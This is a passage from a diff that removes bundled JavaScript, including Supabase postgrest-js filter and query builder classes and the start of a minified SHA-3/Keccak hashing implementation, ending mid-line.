likeAnyOf(column, patterns) { - this.url.searchParams.append(column, `like(any).{${patterns.join(",")}}`); - return this; - } - /** - * Match only rows where `column` matches `pattern` case-insensitively. - * - * @param column - The column to filter on - * @param pattern - The pattern to match with - */ - ilike(column, pattern) { - this.url.searchParams.append(column, `ilike.${pattern}`); - return this; - } - /** - * Match only rows where `column` matches all of `patterns` case-insensitively. - * - * @param column - The column to filter on - * @param patterns - The patterns to match with - */ - ilikeAllOf(column, patterns) { - this.url.searchParams.append(column, `ilike(all).{${patterns.join(",")}}`); - return this; - } - /** - * Match only rows where `column` matches any of `patterns` case-insensitively. - * - * @param column - The column to filter on - * @param patterns - The patterns to match with - */ - ilikeAnyOf(column, patterns) { - this.url.searchParams.append(column, `ilike(any).{${patterns.join(",")}}`); - return this; - } - /** - * Match only rows where `column` IS `value`. - * - * For non-boolean columns, this is only relevant for checking if the value of - * `column` is NULL by setting `value` to `null`. - * - * For boolean columns, you can also set `value` to `true` or `false` and it - * will behave the same way as `.eq()`. - * - * @param column - The column to filter on - * @param value - The value to filter with - */ - is(column, value) { - this.url.searchParams.append(column, `is.${value}`); - return this; - } - /** - * Match only rows where `column` is included in the `values` array. - * - * @param column - The column to filter on - * @param values - The values array to filter with - */ - in(column, values) { - const cleanedValues = Array.from(new Set(values)).map((s) => { - if (typeof s === "string" && new RegExp("[,()]").test(s)) - return `"${s}"`; - else - return `${s}`; - }).join(","); - this.url.searchParams.append(column, `in.(${cleanedValues})`); - return this; - } - /** - * Only relevant for jsonb, array, and range columns. Match only rows where - * `column` contains every element appearing in `value`. - * - * @param column - The jsonb, array, or range column to filter on - * @param value - The jsonb, array, or range value to filter with - */ - contains(column, value) { - if (typeof value === "string") { - this.url.searchParams.append(column, `cs.${value}`); - } else if (Array.isArray(value)) { - this.url.searchParams.append(column, `cs.{${value.join(",")}}`); - } else { - this.url.searchParams.append(column, `cs.${JSON.stringify(value)}`); - } - return this; - } - /** - * Only relevant for jsonb, array, and range columns. Match only rows where - * every element appearing in `column` is contained by `value`. - * - * @param column - The jsonb, array, or range column to filter on - * @param value - The jsonb, array, or range value to filter with - */ - containedBy(column, value) { - if (typeof value === "string") { - this.url.searchParams.append(column, `cd.${value}`); - } else if (Array.isArray(value)) { - this.url.searchParams.append(column, `cd.{${value.join(",")}}`); - } else { - this.url.searchParams.append(column, `cd.${JSON.stringify(value)}`); - } - return this; - } - /** - * Only relevant for range columns. Match only rows where every element in - * `column` is greater than any element in `range`. - * - * @param column - The range column to filter on - * @param range - The range to filter with - */ - rangeGt(column, range) { - this.url.searchParams.append(column, `sr.${range}`); - return this; - } - /** - * Only relevant for range columns. Match only rows where every element in - * `column` is either contained in `range` or greater than any element in - * `range`. - * - * @param column - The range column to filter on - * @param range - The range to filter with - */ - rangeGte(column, range) { - this.url.searchParams.append(column, `nxl.${range}`); - return this; - } - /** - * Only relevant for range columns. Match only rows where every element in - * `column` is less than any element in `range`. - * - * @param column - The range column to filter on - * @param range - The range to filter with - */ - rangeLt(column, range) { - this.url.searchParams.append(column, `sl.${range}`); - return this; - } - /** - * Only relevant for range columns. Match only rows where every element in - * `column` is either contained in `range` or less than any element in - * `range`. - * - * @param column - The range column to filter on - * @param range - The range to filter with - */ - rangeLte(column, range) { - this.url.searchParams.append(column, `nxr.${range}`); - return this; - } - /** - * Only relevant for range columns. Match only rows where `column` is - * mutually exclusive to `range` and there can be no element between the two - * ranges. - * - * @param column - The range column to filter on - * @param range - The range to filter with - */ - rangeAdjacent(column, range) { - this.url.searchParams.append(column, `adj.${range}`); - return this; - } - /** - * Only relevant for array and range columns. Match only rows where - * `column` and `value` have an element in common. - * - * @param column - The array or range column to filter on - * @param value - The array or range value to filter with - */ - overlaps(column, value) { - if (typeof value === "string") { - this.url.searchParams.append(column, `ov.${value}`); - } else { - this.url.searchParams.append(column, `ov.{${value.join(",")}}`); - } - return this; - } - /** - * Only relevant for text and tsvector columns. Match only rows where - * `column` matches the query string in `query`. - * - * @param column - The text or tsvector column to filter on - * @param query - The query text to match with - * @param options - Named parameters - * @param options.config - The text search configuration to use - * @param options.type - Change how the `query` text is interpreted - */ - textSearch(column, query, { config, type } = {}) { - let typePart = ""; - if (type === "plain") { - typePart = "pl"; - } else if (type === "phrase") { - typePart = "ph"; - } else if (type === "websearch") { - typePart = "w"; - } - const configPart = config === void 0 ? "" : `(${config})`; - this.url.searchParams.append(column, `${typePart}fts${configPart}.${query}`); - return this; - } - /** - * Match only rows where each column in `query` keys is equal to its - * associated value. Shorthand for multiple `.eq()`s. - * - * @param query - The object to filter with, with column names as keys mapped - * to their filter values - */ - match(query) { - Object.entries(query).forEach(([column, value]) => { - this.url.searchParams.append(column, `eq.${value}`); - }); - return this; - } - /** - * Match only rows which doesn't satisfy the filter. - * - * Unlike most filters, `opearator` and `value` are used as-is and need to - * follow [PostgREST - * syntax](https://postgrest.org/en/stable/api.html#operators). You also need - * to make sure they are properly sanitized. - * - * @param column - The column to filter on - * @param operator - The operator to be negated to filter with, following - * PostgREST syntax - * @param value - The value to filter with, following PostgREST syntax - */ - not(column, operator, value) { - this.url.searchParams.append(column, `not.${operator}.${value}`); - return this; - } - /** - * Match only rows which satisfy at least one of the filters. - * - * Unlike most filters, `filters` is used as-is and needs to follow [PostgREST - * syntax](https://postgrest.org/en/stable/api.html#operators). You also need - * to make sure it's properly sanitized. - * - * It's currently not possible to do an `.or()` filter across multiple tables. - * - * @param filters - The filters to use, following PostgREST syntax - * @param options - Named parameters - * @param options.referencedTable - Set this to filter on referenced tables - * instead of the parent table - * @param options.foreignTable - Deprecated, use `referencedTable` instead - */ - or(filters, { foreignTable, referencedTable = foreignTable } = {}) { - const key3 = referencedTable ? `${referencedTable}.or` : "or"; - this.url.searchParams.append(key3, `(${filters})`); - return this; - } - /** - * Match only rows which satisfy the filter. This is an escape hatch - you - * should use the specific filter methods wherever possible. - * - * Unlike most filters, `opearator` and `value` are used as-is and need to - * follow [PostgREST - * syntax](https://postgrest.org/en/stable/api.html#operators). You also need - * to make sure they are properly sanitized. - * - * @param column - The column to filter on - * @param operator - The operator to filter with, following PostgREST syntax - * @param value - The value to filter with, following PostgREST syntax - */ - filter(column, operator, value) { - this.url.searchParams.append(column, `${operator}.${value}`); - return this; - } - }; - exports.default = PostgrestFilterBuilder2; - } - }); - - // node_modules/@supabase/postgrest-js/dist/cjs/PostgrestQueryBuilder.js - var require_PostgrestQueryBuilder = __commonJS({ - "node_modules/@supabase/postgrest-js/dist/cjs/PostgrestQueryBuilder.js"(exports) { - "use strict"; - var __importDefault = exports && exports.__importDefault || function(mod) { - return mod && mod.__esModule ? mod : { "default": mod }; - }; - Object.defineProperty(exports, "__esModule", { value: true }); - var PostgrestFilterBuilder_1 = __importDefault(require_PostgrestFilterBuilder()); - var PostgrestQueryBuilder2 = class { - constructor(url, { headers = {}, schema, fetch: fetch3 }) { - this.url = url; - this.headers = headers; - this.schema = schema; - this.fetch = fetch3; - } - /** - * Perform a SELECT query on the table or view. - * - * @param columns - The columns to retrieve, separated by commas. Columns can be renamed when returned with `customName:columnName` - * - * @param options - Named parameters - * - * @param options.head - When set to `true`, `data` will not be returned. - * Useful if you only need the count. - * - * @param options.count - Count algorithm to use to count rows in the table or view. - * - * `"exact"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the - * hood. - * - * `"planned"`: Approximated but fast count algorithm. Uses the Postgres - * statistics under the hood. - * - * `"estimated"`: Uses exact count for low numbers and planned count for high - * numbers. - */ - select(columns, { head = false, count } = {}) { - const method = head ? "HEAD" : "GET"; - let quoted = false; - const cleanedColumns = (columns !== null && columns !== void 0 ? columns : "*").split("").map((c) => { - if (/\s/.test(c) && !quoted) { - return ""; - } - if (c === '"') { - quoted = !quoted; - } - return c; - }).join(""); - this.url.searchParams.set("select", cleanedColumns); - if (count) { - this.headers["Prefer"] = `count=${count}`; - } - return new PostgrestFilterBuilder_1.default({ - method, - url: this.url, - headers: this.headers, - schema: this.schema, - fetch: this.fetch, - allowEmpty: false - }); - } - /** - * Perform an INSERT into the table or view. - * - * By default, inserted rows are not returned. To return it, chain the call - * with `.select()`. - * - * @param values - The values to insert. Pass an object to insert a single row - * or an array to insert multiple rows. - * - * @param options - Named parameters - * - * @param options.count - Count algorithm to use to count inserted rows. - * - * `"exact"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the - * hood. - * - * `"planned"`: Approximated but fast count algorithm. Uses the Postgres - * statistics under the hood. - * - * `"estimated"`: Uses exact count for low numbers and planned count for high - * numbers. - * - * @param options.defaultToNull - Make missing fields default to `null`. - * Otherwise, use the default value for the column. Only applies for bulk - * inserts. - */ - insert(values, { count, defaultToNull = true } = {}) { - const method = "POST"; - const prefersHeaders = []; - if (this.headers["Prefer"]) { - prefersHeaders.push(this.headers["Prefer"]); - } - if (count) { - prefersHeaders.push(`count=${count}`); - } - if (!defaultToNull) { - prefersHeaders.push("missing=default"); - } - this.headers["Prefer"] = prefersHeaders.join(","); - if (Array.isArray(values)) { - const columns = values.reduce((acc, x) => acc.concat(Object.keys(x)), []); - if (columns.length > 0) { - const uniqueColumns = [...new Set(columns)].map((column) => `"${column}"`); - this.url.searchParams.set("columns", uniqueColumns.join(",")); - } - } - return new PostgrestFilterBuilder_1.default({ - method, - url: this.url, - headers: this.headers, - schema: this.schema, - body: values, - fetch: this.fetch, - allowEmpty: false - }); - } - /** - * Perform an UPSERT on the table or view. Depending on the column(s) passed - * to `onConflict`, `.upsert()` allows you to perform the equivalent of - * `.insert()` if a row with the corresponding `onConflict` columns doesn't - * exist, or if it does exist, perform an alternative action depending on - * `ignoreDuplicates`. - * - * By default, upserted rows are not returned. To return it, chain the call - * with `.select()`. - * - * @param values - The values to upsert with. Pass an object to upsert a - * single row or an array to upsert multiple rows. - * - * @param options - Named parameters - * - * @param options.onConflict - Comma-separated UNIQUE column(s) to specify how - * duplicate rows are determined. Two rows are duplicates if all the - * `onConflict` columns are equal. - * - * @param options.ignoreDuplicates - If `true`, duplicate rows are ignored. If - * `false`, duplicate rows are merged with existing rows. - * - * @param options.count - Count algorithm to use to count upserted rows. - * - * `"exact"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the - * hood. - * - * `"planned"`: Approximated but fast count algorithm. Uses the Postgres - * statistics under the hood. - * - * `"estimated"`: Uses exact count for low numbers and planned count for high - * numbers. - * - * @param options.defaultToNull - Make missing fields default to `null`. - * Otherwise, use the default value for the column. This only applies when - * inserting new rows, not when merging with existing rows under - * `ignoreDuplicates: false`. This also only applies when doing bulk upserts. - */ - upsert(values, { onConflict, ignoreDuplicates = false, count, defaultToNull = true } = {}) { - const method = "POST"; - const prefersHeaders = [`resolution=${ignoreDuplicates ? "ignore" : "merge"}-duplicates`]; - if (onConflict !== void 0) - this.url.searchParams.set("on_conflict", onConflict); - if (this.headers["Prefer"]) { - prefersHeaders.push(this.headers["Prefer"]); - } - if (count) { - prefersHeaders.push(`count=${count}`); - } - if (!defaultToNull) { - prefersHeaders.push("missing=default"); - } - this.headers["Prefer"] = prefersHeaders.join(","); - if (Array.isArray(values)) { - const columns = values.reduce((acc, x) => acc.concat(Object.keys(x)), []); - if (columns.length > 0) { - const uniqueColumns = [...new Set(columns)].map((column) => `"${column}"`); - this.url.searchParams.set("columns", uniqueColumns.join(",")); - } - } - return new PostgrestFilterBuilder_1.default({ - method, - url: this.url, - headers: this.headers, - schema: this.schema, - body: values, - fetch: this.fetch, - allowEmpty: false - }); - } - /** - * Perform an UPDATE on the table or view. - * - * By default, updated rows are not returned. To return it, chain the call - * with `.select()` after filters. - * - * @param values - The values to update with - * - * @param options - Named parameters - * - * @param options.count - Count algorithm to use to count updated rows. - * - * `"exact"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the - * hood. - * - * `"planned"`: Approximated but fast count algorithm. Uses the Postgres - * statistics under the hood. - * - * `"estimated"`: Uses exact count for low numbers and planned count for high - * numbers. - */ - update(values, { count } = {}) { - const method = "PATCH"; - const prefersHeaders = []; - if (this.headers["Prefer"]) { - prefersHeaders.push(this.headers["Prefer"]); - } - if (count) { - prefersHeaders.push(`count=${count}`); - } - this.headers["Prefer"] = prefersHeaders.join(","); - return new PostgrestFilterBuilder_1.default({ - method, - url: this.url, - headers: this.headers, - schema: this.schema, - body: values, - fetch: this.fetch, - allowEmpty: false - }); - } - /** - * Perform a DELETE on the table or view. - * - * By default, deleted rows are not returned. To return it, chain the call - * with `.select()` after filters. - * - * @param options - Named parameters - * - * @param options.count - Count algorithm to use to count deleted rows. - * - * `"exact"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the - * hood. - * - * `"planned"`: Approximated but fast count algorithm. Uses the Postgres - * statistics under the hood. - * - * `"estimated"`: Uses exact count for low numbers and planned count for high - * numbers. - */ - delete({ count } = {}) { - const method = "DELETE"; - const prefersHeaders = []; - if (count) { - prefersHeaders.push(`count=${count}`); - } - if (this.headers["Prefer"]) { - prefersHeaders.unshift(this.headers["Prefer"]); - } - this.headers["Prefer"] = prefersHeaders.join(","); - return new PostgrestFilterBuilder_1.default({ - method, - url: this.url, - headers: this.headers, - schema: this.schema, - fetch: this.fetch, - allowEmpty: false - }); - } - }; - exports.default = PostgrestQueryBuilder2; - } - }); - - // node_modules/@supabase/postgrest-js/dist/cjs/version.js - var require_version = __commonJS({ - "node_modules/@supabase/postgrest-js/dist/cjs/version.js"(exports) { - "use strict"; - Object.defineProperty(exports, "__esModule", { value: true }); - exports.version = void 0; - exports.version = "0.0.0-automated"; - } - }); - - // node_modules/@supabase/postgrest-js/dist/cjs/constants.js - var require_constants = __commonJS({ - "node_modules/@supabase/postgrest-js/dist/cjs/constants.js"(exports) { - "use strict"; - Object.defineProperty(exports, "__esModule", { value: true }); - exports.DEFAULT_HEADERS = void 0; - var version_1 = require_version(); - exports.DEFAULT_HEADERS = { "X-Client-Info": `postgrest-js/${version_1.version}` }; - } - }); - - // node_modules/@supabase/postgrest-js/dist/cjs/PostgrestClient.js - var require_PostgrestClient = __commonJS({ - "node_modules/@supabase/postgrest-js/dist/cjs/PostgrestClient.js"(exports) { - "use strict"; - var __importDefault = exports && exports.__importDefault || function(mod) { - return mod && mod.__esModule ? mod : { "default": mod }; - }; - Object.defineProperty(exports, "__esModule", { value: true }); - var PostgrestQueryBuilder_1 = __importDefault(require_PostgrestQueryBuilder()); - var PostgrestFilterBuilder_1 = __importDefault(require_PostgrestFilterBuilder()); - var constants_1 = require_constants(); - var PostgrestClient2 = class _PostgrestClient { - // TODO: Add back shouldThrowOnError once we figure out the typings - /** - * Creates a PostgREST client. - * - * @param url - URL of the PostgREST endpoint - * @param options - Named parameters - * @param options.headers - Custom headers - * @param options.schema - Postgres schema to switch to - * @param options.fetch - Custom fetch - */ - constructor(url, { headers = {}, schema, fetch: fetch3 } = {}) { - this.url = url; - this.headers = Object.assign(Object.assign({}, constants_1.DEFAULT_HEADERS), headers); - this.schemaName = schema; - this.fetch = fetch3; - } - /** - * Perform a query on a table or a view. - * - * @param relation - The table or view name to query - */ - from(relation) { - const url = new URL(`${this.url}/${relation}`); - return new PostgrestQueryBuilder_1.default(url, { - headers: Object.assign({}, this.headers), - schema: this.schemaName, - fetch: this.fetch - }); - } - /** - * Select a schema to query or perform an function (rpc) call. - * - * The schema needs to be on the list of exposed schemas inside Supabase. - * - * @param schema - The schema to query - */ - schema(schema) { - return new _PostgrestClient(this.url, { - headers: this.headers, - schema, - fetch: this.fetch - }); - } - /** - * Perform a function call. - * - * @param fn - The function name to call - * @param args - The arguments to pass to the function call - * @param options - Named parameters - * @param options.head - When set to `true`, `data` will not be returned. - * Useful if you only need the count. - * @param options.get - When set to `true`, the function will be called with - * read-only access mode. - * @param options.count - Count algorithm to use to count rows returned by the - * function. Only applicable for [set-returning - * functions](https://www.postgresql.org/docs/current/functions-srf.html). - * - * `"exact"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the - * hood. - * - * `"planned"`: Approximated but fast count algorithm. Uses the Postgres - * statistics under the hood. - * - * `"estimated"`: Uses exact count for low numbers and planned count for high - * numbers. - */ - rpc(fn, args = {}, { head = false, get: get2 = false, count } = {}) { - let method; - const url = new URL(`${this.url}/rpc/${fn}`); - let body; - if (head || get2) { - method = head ? "HEAD" : "GET"; - Object.entries(args).filter(([_, value]) => value !== void 0).map(([name, value]) => [name, Array.isArray(value) ? `{${value.join(",")}}` : `${value}`]).forEach(([name, value]) => { - url.searchParams.append(name, value); - }); - } else { - method = "POST"; - body = args; - } - const headers = Object.assign({}, this.headers); - if (count) { - headers["Prefer"] = `count=${count}`; - } - return new PostgrestFilterBuilder_1.default({ - method, - url, - headers, - schema: this.schemaName, - body, - fetch: this.fetch, - allowEmpty: false - }); - } - }; - exports.default = PostgrestClient2; - } - }); - - // node_modules/@supabase/postgrest-js/dist/cjs/index.js - var require_cjs = __commonJS({ - "node_modules/@supabase/postgrest-js/dist/cjs/index.js"(exports) { - "use strict"; - var __importDefault = exports && exports.__importDefault || function(mod) { - return mod && mod.__esModule ? mod : { "default": mod }; - }; - Object.defineProperty(exports, "__esModule", { value: true }); - exports.PostgrestBuilder = exports.PostgrestTransformBuilder = exports.PostgrestFilterBuilder = exports.PostgrestQueryBuilder = exports.PostgrestClient = void 0; - var PostgrestClient_1 = __importDefault(require_PostgrestClient()); - exports.PostgrestClient = PostgrestClient_1.default; - var PostgrestQueryBuilder_1 = __importDefault(require_PostgrestQueryBuilder()); - exports.PostgrestQueryBuilder = PostgrestQueryBuilder_1.default; - var PostgrestFilterBuilder_1 = __importDefault(require_PostgrestFilterBuilder()); - exports.PostgrestFilterBuilder = PostgrestFilterBuilder_1.default; - var PostgrestTransformBuilder_1 = __importDefault(require_PostgrestTransformBuilder()); - exports.PostgrestTransformBuilder = PostgrestTransformBuilder_1.default; - var PostgrestBuilder_1 = __importDefault(require_PostgrestBuilder()); - exports.PostgrestBuilder = PostgrestBuilder_1.default; - exports.default = { - PostgrestClient: PostgrestClient_1.default, - PostgrestQueryBuilder: PostgrestQueryBuilder_1.default, - PostgrestFilterBuilder: PostgrestFilterBuilder_1.default, - PostgrestTransformBuilder: PostgrestTransformBuilder_1.default, - PostgrestBuilder: PostgrestBuilder_1.default - }; - } - }); - - // node_modules/ws/browser.js - var require_browser = __commonJS({ - "node_modules/ws/browser.js"(exports, module) { - "use strict"; - module.exports = function() { - throw new Error( - "ws does not work in the browser. Browser clients must use the native WebSocket object" - ); - }; - } - }); - - // node_modules/@ubiquibot/permit-generation/dist/handlers/index.js - var require_handlers = __commonJS({ - "node_modules/@ubiquibot/permit-generation/dist/handlers/index.js"(exports) { - "use strict"; - var t = "undefined" != typeof globalThis ? globalThis : "undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : {}; - function e(t2) { - return t2 && t2.__esModule && Object.prototype.hasOwnProperty.call(t2, "default") ? t2.default : t2; - } - function r3(t2) { - if (t2.__esModule) - return t2; - var e2 = t2.default; - if ("function" == typeof e2) { - var r4 = function t3() { - return this instanceof t3 ? Reflect.construct(e2, arguments, this.constructor) : e2.apply(this, arguments); - }; - r4.prototype = e2.prototype; - } else - r4 = {}; - return Object.defineProperty(r4, "__esModule", { value: true }), Object.keys(t2).forEach(function(e3) { - var n2 = Object.getOwnPropertyDescriptor(t2, e3); - Object.defineProperty(r4, e3, n2.get ? n2 : { enumerable: true, get: function() { - return t2[e3]; - } }); - }), r4; - } - var n; - var A; - var i = { exports: {} }; - function s() { - if (A) - return n; - A = 1; - var t2 = false, e2 = "Invariant failed"; - return n = function(r4, n2) { - if (!r4) { - if (t2) - throw new Error(e2); - var A2 = "function" == typeof n2 ? n2() : n2, i2 = A2 ? "".concat(e2, ": ").concat(A2) : e2; - throw new Error(i2); - } - }; - } - var a; - var c = { exports: {} }; - a = c, function() { - var e2 = "input is invalid type", r4 = "object" == typeof window, n2 = r4 ? window : {}; - n2.JS_SHA3_NO_WINDOW && (r4 = false); - var A2 = !r4 && "object" == typeof self; - !n2.JS_SHA3_NO_NODE_JS && "object" == typeof process && process.versions && process.versions.node ? n2 = t : A2 && (n2 = self); - var i2 = !n2.JS_SHA3_NO_COMMON_JS && a.exports, o2 = !n2.JS_SHA3_NO_ARRAY_BUFFER && "undefined" != typeof ArrayBuffer, s2 = "0123456789abcdef".split(""), c2 = [4, 1024, 262144, 67108864], h2 = [0, 8, 16, 24], g2 = [1, 0, 32898, 0, 32906, 2147483648, 2147516416, 2147483648, 32907, 0, 2147483649, 0, 2147516545, 2147483648, 32777, 2147483648, 138, 0, 136, 0, 2147516425, 0, 2147483658, 0, 2147516555, 0, 139, 2147483648, 32905, 2147483648, 32771, 2147483648, 32770, 2147483648, 128, 2147483648, 32778, 0, 2147483658, 2147483648, 2147516545, 2147483648, 32896, 2147483648, 2147483649, 0, 2147516424, 2147483648], u2 = [224, 256, 384, 512], l2 = [128, 256], f2 = ["hex", "buffer", "arrayBuffer", "array", "digest"], p2 = { 128: 168, 256: 136 }; - !n2.JS_SHA3_NO_NODE_JS && Array.isArray || (Array.isArray = function(t2) { - return "[object Array]" === Object.prototype.toString.call(t2); - }), !o2 || !n2.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW && ArrayBuffer.isView || (ArrayBuffer.isView = function(t2) { - return "object" == typeof t2 && t2.buffer && t2.buffer.constructor === ArrayBuffer; - }); - for (var d2 = function(t2, e3, r5) { - return function(n3) { - return new N3(t2, e3, t2).update(n3)[r5](); - }; - }, I2 = function(t2, e3, r5) { - return function(n3, A3) { - return new N3(t2, e3, A3).update(n3)[r5](); - }; - }, y2 = function(t2, e3, r5) { - return function(e4, n3, A3, i3) { - return w2["cshake" + t2].update(e4, n3, A3, i3)[r5](); - }; - }, C2 = function(t2, e3, r5) { - return function(e4, n3, A3, i3) { - return w2["kmac" + t2].update(e4, n3, A3, i3)[r5](); - }; - }, m2 = function(t2, e3, r5, n3) { - for (var A3 = 0; A3 < f2.length; ++A3) { - var i3 = f2[A3]; - t2[i3] = e3(r5, n3, i3); - } - return t2; - }, B2 = function(t2, e3) { - var r5 = d2(t2, e3, "hex"); - return r5.create = function() { - return new N3(t2, e3, t2); - }, r5.update = function(t3) { - return r5.create().update(t3); - }, m2(r5, d2, t2, e3); - }, E2 = [{ name: "keccak", padding: [1, 256, 65536, 16777216], bits: u2, createMethod: B2 }, { name: "sha3", padding: [6, 1536, 393216, 100663296], bits: u2, createMethod: B2 }, { name: "shake", padding: [31, 7936, 2031616, 520093696], bits: l2, createMethod: function(t2, e3) { - var r5 = I2(t2, e3, "hex"); - return r5.create = function(r6) { - return new N3(t2, e3, r6); - }, r5.update = function(t3, e4) { - return r5.create(e4).update(t3); - }, m2(r5, I2, t2, e3); - } }, { name: "cshake", padding: c2, bits: l2, createMethod: function(t2, e3) { - var r5 = p2[t2], n3 = y2(t2, 0, "hex"); - return n3.create = function(n4, A3, i3) { - return A3 || i3 ? new N3(t2, e3, n4).bytepad([A3, i3], r5) : w2["shake" + t2].create(n4); - }, n3.update = function(t3, e4, r6, A3) { - return n3.create(e4, r6, A3).update(t3); - }, m2(n3, y2, t2, e3); - } }, { name: "kmac", padding: c2, bits: l2, createMethod: function(t2, e3) { - var r5 = p2[t2], n3 = C2(t2, 0, "hex"); - return n3.create = function(n4, A3, i3) { - return new M2(t2, e3, A3).bytepad(["KMAC", i3], r5).bytepad([n4], r5); - }, n3.update = function(t3, e4, r6, A3) { - return n3.create(t3, r6, A3).update(e4); - }, m2(n3, C2, t2, e3); - } }], w2 = {}, v2 = [], _2 = 0; _2 < E2.length; ++_2) - for (var Q2 = E2[_2], b2 = Q2.bits, k2 = 0; k2 < b2.length; ++k2) { - var D2 = Q2.name + "_" + b2[k2]; - if (v2.push(D2), w2[D2] = Q2.createMethod(b2[k2], Q2.padding), "sha3" !== Q2.name) { - var S2 = Q2.name + b2[k2]; - v2.push(S2), w2[S2] = w2[D2]; - } - } - function N3(t2, e3, r5) { - this.blocks = [], this.s = [], this.padding = e3, this.outputBits = r5, this.reset = true, this.finalized = false, this.block = 0, this.start = 0, this.blockCount = 1600 - (t2 << 1) >> 5, this.byteCount = this.blockCount << 2, this.outputBlocks = r5 >> 5, this.extraBytes = (31 & r5) >> 3; - for (var n3 = 0; n3 < 50; ++n3) - this.s[n3] = 0; - } - function M2(t2, e3, r5) { - N3.call(this, t2, e3, r5); - } - N3.prototype.update = function(t2) { - if (this.finalized) - throw new Error("finalize already called"); - var r5, n3 = typeof t2; - if ("string" !== n3) { - if ("object" !== n3) - throw new Error(e2); - if (null === t2) - throw new Error(e2); - if (o2 && t2.constructor === ArrayBuffer) - t2 = new Uint8Array(t2); - else if (!(Array.isArray(t2) || o2 && ArrayBuffer.isView(t2))) - throw new Error(e2); - r5 = true; - } - for (var A3, i3, s3 = this.blocks, a2 = this.byteCount, c3 = t2.length, g3 = this.blockCount, u3 = 0, l3 = this.s; u3 < c3; ) { - if (this.reset) - for (this.reset = false, s3[0] = this.block, A3 = 1; A3 < g3 + 1; ++A3) - s3[A3] = 0; - if (r5) - for (A3 = this.start; u3 < c3 && A3 < a2; ++u3) - s3[A3 >> 2] |= t2[u3] << h2[3 & A3++]; - else - for (A3 = this.start; u3 < c3 && A3 < a2; ++u3) - (i3 = t2.charCodeAt(u3)) < 128 ? s3[A3 >> 2] |= i3 << h2[3 & A3++] : i3 < 2048 ? (s3[A3 >> 2] |= (192 | i3 >> 6) << h2[3 & A3++], s3[A3 >> 2] |= (128 | 63 & i3) << h2[3 & A3++]) : i3 < 55296 || i3 >= 57344 ? (s3[A3 >> 2] |= (224 | i3 >> 12) << h2[3 & A3++], s3[A3 >> 2] |= (128 | i3 >> 6 & 63) << h2[3 & A3++], s3[A3 >> 2] |= (128 | 63 & i3) << h2[3 & A3++]) : (i3 = 65536 + ((1023 & i3) << 10 | 1023 & t2.charCodeAt(++u3)), s3[A3 >> 2] |= (240 | i3 >> 18) << h2[3 & A3++], s3[A3 >> 2] |= (128 | i3 >> 12 & 63) << h2[3 & A3++], s3[A3 >> 2] |= (128 | i3 >> 6 & 63) << h2[3 & A3++], s3[A3 >> 2] |= (128 | 63 & i3) << h2[3 & A3++]); - if (this.lastByteIndex = A3, A3 >= a2) { - for (this.start = A3 - a2, this.block = s3[g3], A3 = 0; A3 < g3; ++A3) - l3[A3] ^= s3[A3]; - x2(l3), this.reset = true; - } else - this.start = A3; - } - return this; - }, N3.prototype.encode = function(t2, e3) { - var r5 = 255 & t2, n3 = 1, A3 = [r5]; - for (r5 = 255 & (t2 >>= 8); r5 > 0; ) - A3.unshift(r5), r5 = 255 & (t2 >>= 8), ++n3; - return e3 ? A3.push(n3) : A3.unshift(n3), this.update(A3), A3.length; - }, N3.prototype.encodeString = function(t2) { - var r5, n3 = typeof t2; - if ("string" !== n3) { - if ("object" !== n3) - throw new Error(e2); - if (null === t2) - throw new Error(e2); - if (o2 && t2.constructor === ArrayBuffer) - t2 = new Uint8Array(t2); - else if (!(Array.isArray(t2) || o2 && ArrayBuffer.isView(t2))) - throw new Error(e2); - r5 = true; - } - var A3 = 0, i3 = t2.length; - if (r5) - A3 = i3; - else - for (var s3 = 0; s3 < t2.length; ++s3) { - var a2 = t2.charCodeAt(s3); - a2 < 128 ? A3 += 1 : a2 < 2048 ? A3 += 2 : a2 < 55296 || a2 >= 57344 ? A3 += 3 : (a2 = 65536 + ((1023 & a2) << 10 | 1023 & t2.charCodeAt(++s3)), A3 += 4); - } - return A3 += this.encode(8 * A3), this.update(t2), A3; - }, N3.prototype.bytepad = function(t2, e3) { - for (var r5 = this.encode(e3), n3 = 0; n3 < t2.length; ++n3) - r5 += this.encodeString(t2[n3]); - var A3 = e3 - r5 % e3, i3 = []; - return i3.length = A3, this.update(i3), this; - }, N3.prototype.finalize = function() { - if (!this.finalized) { - this.finalized = true; - var t2 = this.blocks, e3 = this.lastByteIndex, r5 = this.blockCount, n3 = this.s; - if (t2[e3 >> 2] |= this.padding[3 & e3], this.lastByteIndex === this.byteCount) - for (t2[0] = t2[r5], e3 = 1; e3 < r5 + 1; ++e3) - t2[e3] = 0; - for (t2[r5 - 1] |= 2147483648, e3 = 0; e3 < r5; ++e3) - n3[e3] ^= t2[e3]; - x2(n3); - } - }, N3.prototype.toString = N3.prototype.hex = function() { - this.finalize(); - for (var t2, e3 = this.blockCount, r5 = this.s, n3 = this.outputBlocks, A3 = this.extraBytes, i3 = 0, o3 = 0, a2 = ""; o3 < n3; ) { - for (i3 = 0; i3 < e3 && o3 < n3; ++i3, ++o3) - t2 = r5[i3], a2 += s2[t2 >> 4 & 15] + s2[15 & t2] + s2[t2 >> 12 & 15] + s2[t2 >> 8 & 15] + s2[t2 >> 20 & 15] + s2[t2 >> 16 & 15] + s2[t2 >> 28 & 15] + s2[t2 >> 24 & 15]; - o3 % e3 == 0 && (x2(r5), i3 = 0); - } - return A3 && (t2 = r5[i3], a2 += s2[t2 >> 4 & 15] + s2[15 & t2], A3 > 1 && (a2 += s2[t2 >> 12 & 15] + s2[t2 >> 8 & 15]), A3 > 2 && (a2 += s2[t2 >> 20 & 15] + s2[t2 >> 16 & 15])), a2; - }, N3.prototype.arrayBuffer = function() { - this.finalize(); - var t2, e3 = this.blockCount, r5 = this.s, n3 = this.outputBlocks, A3 = this.extraBytes, i3 = 0, o3 = 0, s3 = this.outputBits >> 3; - t2 = A3 ? new ArrayBuffer(n3 + 1 << 2) : new ArrayBuffer(s3); - for (var a2 = new Uint32Array(t2); o3 < n3; ) { - for (i3 = 0; i3 < e3 && o3 < n3; ++i3, ++o3) - a2[o3] = r5[i3]; - o3 % e3 == 0 && x2(r5); - } - return A3 && (a2[i3] = r5[i3], t2 = t2.slice(0, s3)), t2; - }, N3.prototype.buffer = N3.prototype.arrayBuffer, N3.prototype.digest = 